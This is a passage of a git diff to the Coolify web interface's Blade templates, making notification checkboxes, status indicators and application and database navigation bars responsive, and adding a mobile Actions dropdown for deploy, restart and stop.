+            <span class="text-xs dark:text-warning" title="Container has restarted {{ $resource->restart_count }} time{{ $resource->restart_count > 1 ? 's' : '' }}. Last restart: {{ $resource->last_restart_at?->diffForHumans() }}">
+                ({{ $resource->restart_count }}x restarts)
+            </span>
+        </div>
+    @endif
+    @if (!str($resource->status)->contains('exited') && $showRefreshButton)
+        <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
+            class="dark:hover:fill-white fill-black dark:fill-warning">
+            <svg class="w-4 h-4" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                <path
+                    d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
+            </svg>
+        </button>
+        <button wire:loading.delay.shortest wire:target="manualCheckStatus" title="Refreshing Status" wire:click='manualCheckStatus'
+            class="dark:hover:fill-white fill-black dark:fill-warning">
+            <svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                <path
+                    d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
+            </svg>
+        </button>
+    @endif
+</div>
diff --git a/resources/views/components/status/services.blade.php b/resources/views/components/status/services.blade.php
index 9c7a870c7..ff1862c73 100644
--- a/resources/views/components/status/services.blade.php
+++ b/resources/views/components/status/services.blade.php
@@ -1,30 +1,32 @@
 @php
     $displayStatus = formatContainerStatus($complexStatus);
 @endphp
-@if (str($displayStatus)->lower()->contains('running'))
-    <x-status.running :status="$displayStatus" />
-@elseif(str($displayStatus)->lower()->contains('starting'))
-    <x-status.restarting :status="$displayStatus" />
-@elseif(str($displayStatus)->lower()->contains('restarting'))
-    <x-status.restarting :status="$displayStatus" />
-@elseif(str($displayStatus)->lower()->contains('degraded'))
-    <x-status.degraded :status="$displayStatus" />
-@else
-    <x-status.stopped :status="$displayStatus" />
-@endif
-@if (!str($complexStatus)->contains('exited') && $showRefreshButton)
-    <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
-        class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
-        <svg class="w-4 h-4" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-            <path
-                d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
-        </svg>
-    </button>
-    <button wire:loading.delay.shortest wire:target="manualCheckStatus" title="Refreshing Status" wire:click='manualCheckStatus'
-        class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
-        <svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
-            <path
-                d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
-        </svg>
-    </button>
-@endif
+<div class="flex flex-wrap items-center gap-1">
+    @if (str($displayStatus)->lower()->contains('running'))
+        <x-status.running :status="$displayStatus" />
+    @elseif(str($displayStatus)->lower()->contains('starting'))
+        <x-status.restarting :status="$displayStatus" />
+    @elseif(str($displayStatus)->lower()->contains('restarting'))
+        <x-status.restarting :status="$displayStatus" />
+    @elseif(str($displayStatus)->lower()->contains('degraded'))
+        <x-status.degraded :status="$displayStatus" />
+    @else
+        <x-status.stopped :status="$displayStatus" />
+    @endif
+    @if (!str($complexStatus)->contains('exited') && $showRefreshButton)
+        <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
+            class="dark:hover:fill-white fill-black dark:fill-warning">
+            <svg class="w-4 h-4" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                <path
+                    d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
+            </svg>
+        </button>
+        <button wire:loading.delay.shortest wire:target="manualCheckStatus" title="Refreshing Status" wire:click='manualCheckStatus'
+            class="dark:hover:fill-white fill-black dark:fill-warning">
+            <svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                <path
+                    d="M12 2a10.016 10.016 0 0 0-7 2.877V3a1 1 0 1 0-2 0v4.5a1 1 0 0 0 1 1h4.5a1 1 0 0 0 0-2H6.218A7.98 7.98 0 0 1 20 12a1 1 0 0 0 2 0A10.012 10.012 0 0 0 12 2zm7.989 13.5h-4.5a1 1 0 0 0 0 2h2.293A7.98 7.98 0 0 1 4 12a1 1 0 0 0-2 0a9.986 9.986 0 0 0 16.989 7.133V21a1 1 0 0 0 2 0v-4.5a1 1 0 0 0-1-1z" />
+            </svg>
+        </button>
+    @endif
+</div>
diff --git a/resources/views/livewire/notifications/email.blade.php b/resources/views/livewire/notifications/email.blade.php
index 410703010..71a9f0680 100644
--- a/resources/views/livewire/notifications/email.blade.php
+++ b/resources/views/livewire/notifications/email.blade.php
@@ -30,7 +30,7 @@
             @endif
         </div>
         @if (!isCloud())
-            <div class="w-96">
+            <div class="w-full sm:w-96">
                 <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="instantSave()" id="useInstanceEmailSettings"
                     label="Use system wide (transactional) email settings" />
             </div>
diff --git a/resources/views/livewire/notifications/telegram.blade.php b/resources/views/livewire/notifications/telegram.blade.php
index 1c83caf70..f87a13c37 100644
--- a/resources/views/livewire/notifications/telegram.blade.php
+++ b/resources/views/livewire/notifications/telegram.blade.php
@@ -41,7 +41,7 @@
             <h3 class="text-lg font-medium mb-3">Deployments</h3>
             <div class="flex flex-col gap-1.5 pl-1">
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="deploymentSuccessTelegramNotifications"
                             label="Deployment Success" />
                     </div>
@@ -49,7 +49,7 @@
                         id="telegramNotificationsDeploymentSuccessThreadId" />
                 </div>
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="deploymentFailureTelegramNotifications"
                             label="Deployment Failure" />
                     </div>
@@ -57,7 +57,7 @@
                         id="telegramNotificationsDeploymentFailureThreadId" />
                 </div>
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="statusChangeTelegramNotifications"
                             label="Container Status Changes"
                             helper="Send a notification when a container status changes. It will send a notification for Stopped and Restarted events of a container." />
@@ -71,7 +71,7 @@
             <h3 class="text-lg font-medium mb-3">Backups</h3>
             <div class="flex flex-col gap-1.5 pl-1">
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="backupSuccessTelegramNotifications"
                             label="Backup Success" />
                     </div>
@@ -80,7 +80,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="backupFailureTelegramNotifications"
                             label="Backup Failure" />
                     </div>
@@ -94,7 +94,7 @@
             <h3 class="text-lg font-medium mb-3">Scheduled Tasks</h3>
             <div class="flex flex-col gap-1.5 pl-1">
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="scheduledTaskSuccessTelegramNotifications"
                             label="Scheduled Task Success" />
                     </div>
@@ -103,7 +103,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="scheduledTaskFailureTelegramNotifications"
                             label="Scheduled Task Failure" />
                     </div>
@@ -117,7 +117,7 @@
             <h3 class="text-lg font-medium mb-3">Server</h3>
             <div class="flex flex-col gap-1.5 pl-1">
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="dockerCleanupSuccessTelegramNotifications"
                             label="Docker Cleanup Success" />
                     </div>
@@ -126,7 +126,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="dockerCleanupFailureTelegramNotifications"
                             label="Docker Cleanup Failure" />
                     </div>
@@ -135,7 +135,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverDiskUsageTelegramNotifications"
                             label="Server Disk Usage" />
                     </div>
@@ -144,7 +144,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverReachableTelegramNotifications"
                             label="Server Reachable" />
                     </div>
@@ -153,7 +153,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverUnreachableTelegramNotifications"
                             label="Server Unreachable" />
                     </div>
@@ -162,7 +162,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="serverPatchTelegramNotifications"
                             label="Server Patching" />
                     </div>
@@ -171,7 +171,7 @@
                 </div>
 
                 <div class="pl-1 flex gap-2">
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox canGate="update" :canResource="$settings" instantSave="saveModel" id="traefikOutdatedTelegramNotifications"
                             label="Traefik Proxy Outdated" />
                     </div>
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php
index d743e346e..caf105dbf 100644
--- a/resources/views/livewire/project/application/general.blade.php
+++ b/resources/views/livewire/project/application/general.blade.php
@@ -276,7 +276,7 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                                         helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($baseDirectory . $dockerComposeLocation, '/') }}</span>"
                                         x-model="composeLocation" @blur="normalizeComposeLocation()" />
                                 </div>
-                                <div class="w-96">
+                                <div class="w-full sm:w-96">
                                     <x-forms.checkbox instantSave id="isPreserveRepositoryEnabled"
                                         label="Preserve Repository During Deployment"
                                         helper="Git repository (based on the base directory settings) will be copied to the deployment directory."
@@ -382,7 +382,7 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                                 x-bind:disabled="!canUpdate" />
 
                             @if ($buildPack !== 'dockercompose')
-                                <div class="pt-2 w-96">
+                                <div class="pt-2 w-full sm:w-96">
                                     <x-forms.checkbox
                                         helper="Use a build server to build your application. You can configure your build server in the Server settings. For more info, check the <a href='https://coolify.io/docs/knowledge-base/server/build-server' class='underline' target='_blank'>documentation</a>."
                                         instantSave id="isBuildServerEnabled" label="Use a Build Server?"
@@ -422,7 +422,7 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
                                 monacoEditorLanguage="yaml" useMonacoEditor />
                         </div>
                     @endif
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox label="Escape special characters in labels?"
                             helper="By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$.<br><br>If you want to use env variables inside the labels, turn this off."
                             id="isContainerLabelEscapeEnabled" instantSave
@@ -521,7 +521,7 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu
 
                 <h3 class="pt-8">HTTP Basic Authentication</h3>
                 <div>
-                    <div class="w-96">
+                    <div class="w-full sm:w-96">
                         <x-forms.checkbox helper="This will add the proper proxy labels to the container." instantSave
                             label="Enable" id="isHttpBasicAuthEnabled" x-bind:disabled="!canUpdate" />
                     </div>
@@ -543,7 +543,7 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu
                     <x-forms.textarea label="Container Labels" rows="15" id="customLabels"
                         monacoEditorLanguage="ini" useMonacoEditor x-bind:disabled="!canUpdate"></x-forms.textarea>
                 @endif
-                <div class="w-96">
+                <div class="w-full sm:w-96">
                     <x-forms.checkbox label="Readonly labels"
                         helper="Labels are readonly by default. Readonly means that edits you do to the labels could be lost and Coolify will autogenerate the labels for you. If you want to edit the labels directly, disable this option. <br><br>Be careful, it could break the proxy configuration after you restart the container as Coolify will now NOT autogenerate the labels for you (ofc you can always reset the labels to the coolify defaults manually)."
                         id="isContainerLabelReadonlyEnabled" instantSave
diff --git a/resources/views/livewire/project/application/heading.blade.php b/resources/views/livewire/project/application/heading.blade.php
index 4af466fc5..d69709f06 100644
--- a/resources/views/livewire/project/application/heading.blade.php
+++ b/resources/views/livewire/project/application/heading.blade.php
@@ -1,16 +1,17 @@
 <nav wire:poll.10000ms="checkStatus" class="pb-6">
     <x-resources.breadcrumbs :resource="$application" :parameters="$parameters" :title="$lastDeploymentInfo" :lastDeploymentLink="$lastDeploymentLink" />
     <div class="navbar-main">
-        <nav class="flex shrink-0 gap-6 items-center whitespace-nowrap scrollbar min-h-10">
-            <a class="{{ request()->routeIs('project.application.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
+        <nav
+            class="scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible">
+            <a class="shrink-0 {{ request()->routeIs('project.application.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
                 href="{{ route('project.application.configuration', $parameters) }}">
                 Configuration
             </a>
-            <a class="{{ request()->routeIs('project.application.deployment.index') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
+            <a class="shrink-0 {{ request()->routeIs('project.application.deployment.index') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
                 href="{{ route('project.application.deployment.index', $parameters) }}">
                 Deployments
             </a>
-            <a class="{{ request()->routeIs('project.application.logs') ? 'dark:text-white' : '' }}"
+            <a class="shrink-0 {{ request()->routeIs('project.application.logs') ? 'dark:text-white' : '' }}"
                 href="{{ route('project.application.logs', $parameters) }}">
                 <div class="flex items-center gap-1">
                     Logs
@@ -23,100 +24,160 @@
             </a>
             @if (!$application->destination->server->isSwarm())
                 @can('canAccessTerminal')
-                    <a class="{{ request()->routeIs('project.application.command') ? 'dark:text-white' : '' }}"
+                    <a class="shrink-0 {{ request()->routeIs('project.application.command') ? 'dark:text-white' : '' }}"
                         href="{{ route('project.application.command', $parameters) }}">
                         Terminal
                     </a>
                 @endcan
             @endif
-            <x-applications.links :application="$application" />
+            <div class="shrink-0">
+                <x-applications.links :application="$application" />
+            </div>
         </nav>
         <div class="flex flex-wrap gap-2 items-center">
             @if ($application->build_pack === 'dockercompose' && is_null($application->docker_compose_raw))
                 <div>Please load a Compose file.</div>
             @else
-                @if (!$application->destination->server->isSwarm())
-                    <div>
-                        <x-applications.advanced :application="$application" />
-                    </div>
-                @endif
-                <div class="flex flex-wrap gap-2">
-                    @if (!str($application->status)->startsWith('exited'))
-                        @if (!$application->destination->server->isSwarm())
-                            <x-forms.button title="With rolling update if possible" wire:click='deploy'>
-                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-orange-400"
-                                    viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" fill="none"
-                                    stroke-linecap="round" stroke-linejoin="round">
-                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                    <path
-                                        d="M10.09 4.01l.496 -.495a2 2 0 0 1 2.828 0l7.071 7.07a2 2 0 0 1 0 2.83l-7.07 7.07a2 2 0 0 1 -2.83 0l-7.07 -7.07a2 2 0 0 1 0 -2.83l3.535 -3.535h-3.988">
-                                    </path>
-                                    <path d="M7.05 11.038v-3.988"></path>
-                                </svg>
-                                Redeploy
-                            </x-forms.button>
+                <div class="md:hidden">
+                    <x-dropdown>
+                        <x-slot:title>
+                            Actions
+                        </x-slot>
+                        @if (!str($application->status)->startsWith('exited'))
+                            @if (!$application->destination->server->isSwarm())
+                                <div class="dropdown-item dropdown-item-touch" wire:click='deploy'>
+                                    Redeploy
+                                </div>
+                            @endif
+                            @if ($application->build_pack !== 'dockercompose')
+                                @if ($application->destination->server->isSwarm())
+                                    <div class="dropdown-item dropdown-item-touch" wire:click='deploy'>
+                                        Update Service
+                                    </div>
+                                @else
+                                    <div class="dropdown-item dropdown-item-touch" wire:click='restart'>
+                                        Restart
+                                    </div>
+                                @endif
+                            @endif
+                            <x-modal-confirmation title="Confirm Application Stopping?" buttonTitle="Stop"
+                                submitAction="stop" :checkboxes="$checkboxes" :actions="[
+                                    'This application will be stopped.',
+                                    'All non-persistent data of this application will be deleted.',
+                                ]" :confirmWithText="false" :confirmWithPassword="false"
+                                step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:trigger>
+                                    <div class="dropdown-item dropdown-item-touch text-error">
+                                        Stop
+                                    </div>
+                                </x-slot:trigger>
+                            </x-modal-confirmation>
+                        @else
+                            <div class="dropdown-item dropdown-item-touch" wire:click='deploy'>
+                                Deploy
+                            </div>
                         @endif
-                        @if ($application->build_pack !== 'dockercompose')
-                            @if ($application->destination->server->isSwarm())
-                                <x-forms.button title="Redeploy Swarm Service (rolling update)" wire:click='deploy'>
-                                    <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                                        xmlns="http://www.w3.org/2000/svg">
-                                        <g fill="none" stroke="currentColor" stroke-linecap="round"
-                                            stroke-linejoin="round" stroke-width="2">
-                                            <path
-                                                d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                            <path d="M20 4v5h-5" />
-                                        </g>
-                                    </svg>
-                                    Update Service
-                                </x-forms.button>
+
+                        @if (!$application->destination->server->isSwarm())
+                            <div class="mx-2 my-1 border-t border-neutral-200 dark:border-coolgray-300"></div>
+
+                            @if ($application->status === 'running')
+                                <div class="dropdown-item dropdown-item-touch" wire:click='force_deploy_without_cache'>
+                                    Force deploy (without cache)
+                                </div>
                             @else
-                                <x-forms.button title="Restart without rebuilding" wire:click='restart'>
-                                    <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                                        xmlns="http://www.w3.org/2000/svg">
-                                        <g fill="none" stroke="currentColor" stroke-linecap="round"
-                                            stroke-linejoin="round" stroke-width="2">
-                                            <path
-                                                d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
-                                            <path d="M20 4v5h-5" />
-                                        </g>
-                                    </svg>
-                                    Restart
-                                </x-forms.button>
+                                <div class="dropdown-item dropdown-item-touch" wire:click='deploy(true)'>
+                                    Force deploy (without cache)
+                                </div>
                             @endif
                         @endif
-                        <x-modal-confirmation title="Confirm Application Stopping?" buttonTitle="Stop"
-                            submitAction="stop" :checkboxes="$checkboxes" :actions="[
-                                'This application will be stopped.',
-                                'All non-persistent data of this application will be deleted.',
-                            ]" :confirmWithText="false" :confirmWithPassword="false"
-                            step1ButtonText="Continue" step2ButtonText="Confirm">
-                            <x-slot:button-title>
-                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
-                                    stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
-                                    stroke-linejoin="round">
-                                    <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
-                                    <path
-                                        d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                    </path>
-                                    <path
-                                        d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
-                                    </path>
-                                </svg>
-                                Stop
-                            </x-slot:button-title>
-                        </x-modal-confirmation>
-                    @else
-                        <x-forms.button wire:click='deploy'>
-                            <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none"
-                                stroke-linecap="round" stroke-linejoin="round">
-                                <path stroke="none" d="M0 0h24v24H0z" fill="none" />
-                                <path d="M7 4v16l13 -8z" />
-                            </svg>
-                            Deploy
-                        </x-forms.button>
+                    </x-dropdown>
+                </div>
+
+                <div class="hidden flex-wrap items-center gap-2 md:flex">
+                    @if (!$application->destination->server->isSwarm())
+                        <div>
+                            <x-applications.advanced :application="$application" />
+                        </div>
                     @endif
+                    <div class="flex flex-wrap gap-2">
+                        @if (!str($application->status)->startsWith('exited'))
+                            @if (!$application->destination->server->isSwarm())
+                                <x-forms.button title="With rolling update if possible" wire:click='deploy'>
+                                    <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-orange-400"
+                                        viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" fill="none"
+                                        stroke-linecap="round" stroke-linejoin="round">
+                                        <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                        <path
+                                            d="M10.09 4.01l.496 -.495a2 2 0 0 1 2.828 0l7.071 7.07a2 2 0 0 1 0 2.83l-7.07 7.07a2 2 0 0 1 -2.83 0l-7.07 -7.07a2 2 0 0 1 0 -2.83l3.535 -3.535h-3.988">
+                                        </path>
+                                        <path d="M7.05 11.038v-3.988"></path>
+                                    </svg>
+                                    Redeploy
+                                </x-forms.button>
+                            @endif
+                            @if ($application->build_pack !== 'dockercompose')
+                                @if ($application->destination->server->isSwarm())
+                                    <x-forms.button title="Redeploy Swarm Service (rolling update)" wire:click='deploy'>
+                                        <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                            xmlns="http://www.w3.org/2000/svg">
+                                            <g fill="none" stroke="currentColor" stroke-linecap="round"
+                                                stroke-linejoin="round" stroke-width="2">
+                                                <path
+                                                    d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                                <path d="M20 4v5h-5" />
+                                            </g>
+                                        </svg>
+                                        Update Service
+                                    </x-forms.button>
+                                @else
+                                    <x-forms.button title="Restart without rebuilding" wire:click='restart'>
+                                        <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
+                                            xmlns="http://www.w3.org/2000/svg">
+                                            <g fill="none" stroke="currentColor" stroke-linecap="round"
+                                                stroke-linejoin="round" stroke-width="2">
+                                                <path
+                                                    d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                                <path d="M20 4v5h-5" />
+                                            </g>
+                                        </svg>
+                                        Restart
+                                    </x-forms.button>
+                                @endif
+                            @endif
+                            <x-modal-confirmation title="Confirm Application Stopping?" buttonTitle="Stop"
+                                submitAction="stop" :checkboxes="$checkboxes" :actions="[
+                                    'This application will be stopped.',
+                                    'All non-persistent data of this application will be deleted.',
+                                ]" :confirmWithText="false" :confirmWithPassword="false"
+                                step1ButtonText="Continue" step2ButtonText="Confirm">
+                                <x-slot:button-title>
+                                    <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-error" viewBox="0 0 24 24"
+                                        stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round"
+                                        stroke-linejoin="round">
+                                        <path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
+                                        <path
+                                            d="M6 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                        </path>
+                                        <path
+                                            d="M14 5m0 1a1 1 0 0 1 1 -1h2a1 1 0 0 1 1 1v12a1 1 0 0 1 -1 1h-2a1 1 0 0 1 -1 -1z">
+                                        </path>
+                                    </svg>
+                                    Stop
+                                </x-slot:button-title>
+                            </x-modal-confirmation>
+                        @else
+                            <x-forms.button wire:click='deploy'>
+                                <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 dark:text-warning"
+                                    viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" fill="none"
+                                    stroke-linecap="round" stroke-linejoin="round">
+                                    <path stroke="none" d="M0 0h24v24H0z" fill="none" />
+                                    <path d="M7 4v16l13 -8z" />
+                                </svg>
+                                Deploy
+                            </x-forms.button>
+                        @endif
+                    </div>
                 </div>
             @endif
         </div>
diff --git a/resources/views/livewire/project/database/heading.blade.php b/resources/views/livewire/project/database/heading.blade.php
index 4087769cc..89a64b0e1 100644
--- a/resources/views/livewire/project/database/heading.blade.php
+++ b/resources/views/livewire/project/database/heading.blade.php
@@ -10,18 +10,18 @@
     </x-slide-over>
     <div class="navbar-main">
         <nav
-            class="flex overflow-x-scroll shrink-0 gap-6 items-center whitespace-nowrap sm:overflow-x-hidden scrollbar min-h-10">
-            <a class="{{ request()->routeIs('project.database.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
+            class="scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible">
+            <a class="shrink-0 {{ request()->routeIs('project.database.configuration') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
                 href="{{ route('project.database.configuration', $parameters) }}">
                 Configuration
             </a>
 
-            <a class="{{ request()->routeIs('project.database.logs') ? 'dark:text-white' : '' }}"
+            <a class="shrink-0 {{ request()->routeIs('project.database.logs') ? 'dark:text-white' : '' }}"
                 href="{{ route('project.database.logs', $parameters) }}">
                 Logs
             </a>
             @can('canAccessTerminal')
-                <a class="{{ request()->routeIs('project.database.command') ? 'dark:text-white' : '' }}"
+                <a class="shrink-0 {{ request()->routeIs('project.database.command') ? 'dark:text-white' : '' }}"
                     href="{{ route('project.database.command', $parameters) }}">
                     Terminal
                 </a>
@@ -31,7 +31,7 @@ class="flex overflow-x-scroll shrink-0 gap-6 items-center whitespace-nowrap sm:o
                     $database->getMorphClass() === 'App\Models\StandaloneMongodb' ||
                     $database->getMorphClass() === 'App\Models\StandaloneMysql' ||
                     $database->getMorphClass() === 'App\Models\StandaloneMariadb')
-                <a class="{{ request()->routeIs('project.database.backup.index') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
+                <a class="shrink-0 {{ request()->routeIs('project.database.backup.index') ? 'dark:text-white' : '' }}" {{ wireNavigate() }}
                     href="{{ route('project.database.backup.index', $parameters) }}">
                     Backups
                 </a>
@@ -39,57 +39,97 @@ class="flex overflow-x-scroll shrink-0 gap-6 items-center whitespace-nowrap sm:o
         </nav>
         @if ($database->destination->server->isFunctional())
             <div class="flex flex-wrap gap-2 items-center">
-                @if (!str($database->status)->startsWith('exited'))
-                    <x-modal-confirmation title="Confirm Database Restart?" buttonTitle="Restart" submitAction="restart"
-                        :actions="[
-                            'This database will be unavailable during the restart.',
-                            'If the database is currently in use data could be lost.',
-                        ]" :confirmWithText="false" :confirmWithPassword="false" step2ButtonText="Restart Database"
-                        :dispatchEvent="true" dispatchEventType="restartEvent">
-                        <x-slot:button-title>
-                            <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24"
-                                xmlns="http://www.w3.org/2000/svg">
-                                <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
-                                    stroke-width="2">
